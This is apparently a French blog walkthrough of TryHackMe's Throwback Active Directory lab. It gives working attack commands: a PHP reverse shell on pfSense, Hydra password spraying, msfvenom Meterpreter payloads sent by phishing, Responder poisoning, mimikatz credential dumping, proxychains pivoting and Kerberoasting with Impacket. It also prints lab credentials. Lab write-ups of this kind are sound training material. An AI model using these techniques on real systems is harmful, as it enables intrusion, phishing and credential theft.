Throwback est un lab Active Directory proposé par TryHackMe. L’objectif est de compromettre des serveurs exposés sur Internet avant de pivoter dans le réseau interne de l’entreprise et attaquer l’infrastructure AD.
Trois serveurs sont exposés sur Internet: un serveur web de production, un serveur de messagerie et un pare-feu:
Reconnaissance
Serveur de production
2 ports ouverts: SSH et HTTP
Site Web:
On trouveu une liste d’employés:
Employés:
Summers Winters
Jeff Davies
Hugh Gongo
Rikka Foxx
Et un format d’email:
Email: hello@TBHSecurity.com
Serveur de messagerie
Les ports SSH, HTTP et IMAP sont ouverts:
Serveur Web:
Il s’agit d’un serveur Squirrel:
Parefeu
Les ports SSH, HTTP, HTTPS et DNS sont ouverts:
Serveur Web - Interface de pfSense:
Exploitation
pfSense
On commence par attaquer pfsense. On utilise les credentials par défaut admin::pfsense
et on peut se loguer !!!! WTF !!!
pfSense permet d’exécuter des commandes php.
Diagnostics > Command Prompt
Ref: https://docs.netgate.com/pfsense/en/latest/diagnostics/command-prompt.html
On utilise le reverse shell de pentest monkey https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Enlever les balises php au début et à la fin du shell car pfsense éxécute uniquement les commandes php
Lancer un listener et boom on a un shell
On trouve le mot de passe de Humprew dans le fichier login.log
Webmail Squirrel
On se connecte avec le compte guest et on trouve une liste d’adresse mail
Password spraying
Structure d’une requête d’authentification:
Création des listes:
Utilisation d’Hydra:
hydra -L users.txt -P passwords.txt 10.200.53.232 http-post-form "/src/redirect.php:login_username=^USER^&secretkey=^PASS^:Unknown user or password incorrect"
Obtention de plusiseurs mot de passe :)
Phishing
On va utiliser le compte d’un utilisateur compromis pour lancer une campagne de phishing
On commence par préparer un payload avec Msfvenom, ici un executable windows.
On crée notre listener Meterpreter
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 53
set LHOST tun0
exploit -j
On envoie le payload a tous les membres présents dans la liste d’adresse en priorité élevée
Et hop un shell :)
On vient de compromettre un serveur nommé THROWBACK-WS01
On migre sur un process utilisé par NT AUTHORITY\SYSTEM
LLMNR Poisoning - Responder
responder -I tun0 -dw -v
Récupérer OneRuleToRuleThemAll: https://github.com/NotSoSecure/password_cracking_rules/blob/master/OneRuleToRuleThemAll.rule
On cracke le hash:
hashcat -m 5600 hash /path/to/rockyou.txt -r OneRuleToRuleThemAll.rule --debug-mode=1 --debug-file=matched.rule
Résultat: Throwback317
On peut se connecter à Throwback-PROD en SSH avec ce mot de passe.
Throwback-PROD
On utilise winpeas
Et on trouve les credentials de BlaireJ
DefaultUserName : BlaireJ DefaultPassword : 7eQgx6YzxgG3vC45t5k9
On peut se loguer à SSH en utilisant ces creds
On crée un reverse shell
msfvenom -p windows/meterpreter/reverse_tcp lhost=tun0 lport=443 -f exe -o shell.exe
On upload le shell et on l’execute
Pour pouvoir executer mimikatz on doit migrer sur un autre process utiliser par NT AUTHORITY\SYSTEM
On peut utiliser mimikatz :
load kiwi
creds_all
On récupère l’IP de THROWBACK-TIME.throwback.local
Et l’IP du DC
echo "10.200.154.176 timekeep.throwback.local" >> /etc/hosts
Pivot
use post/multi/manage/autoroute
use auxiliary/server/socks_proxy
Modifier le fichier proxychains.conf
sudo nano /etc/proxychains.conf
On peut désormais utiliser proxychains
pour accéder au réseau interne:
BloodHound
Download SharpHound.ps1 https://raw.githubusercontent.com/puckiestyle/powershell/master/SharpHound.ps1
L’uploader sur le serveur et exécuter: Invoke-Bloodhound -CollectionMethod All -Domain THROWBACK.local -ZipFileName loot.zip
Récuprérer l’archive:
Installer BloodHound version 3.0.3
https://github.com/BloodHoundAD/BloodHound/releases/download/3.0.3/BloodHound-linux-x64.zip
Uploader les datas
Pour trouver les comptes kerberoastable: MATCH (n:User)WHERE n.hasspn=true RETURN n
Ref: https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/
Kerberoast
On va utiliser GetUserSPNs d’Impacket pour récupérer les hashs kerberoastables
proxychains GetUserSPNs.py -dc-ip 10.200.53.117 THROWBACK.LOCAL/BlaireJ:7eQgx6YzxgG3vC45t5k9 -request
La version installée par défaut dans Kali bug
Utiliser impacket 0.9.19
Download the precompiled package from https://github.com/SecureAuthCorp/impacket/releases/tag/impacket_0_9_19
cd Impacket-0.9.19
pip install .
Et on recommence
On crack le hash
hashcat -m 13100 -a 0 hash /usr/share/wordlists/rockyou.txt
Résultat: mysql337570
À continuer…
Poursuivez avec :
This work is licensed under a Creative Commons Attribution 4.0 International License.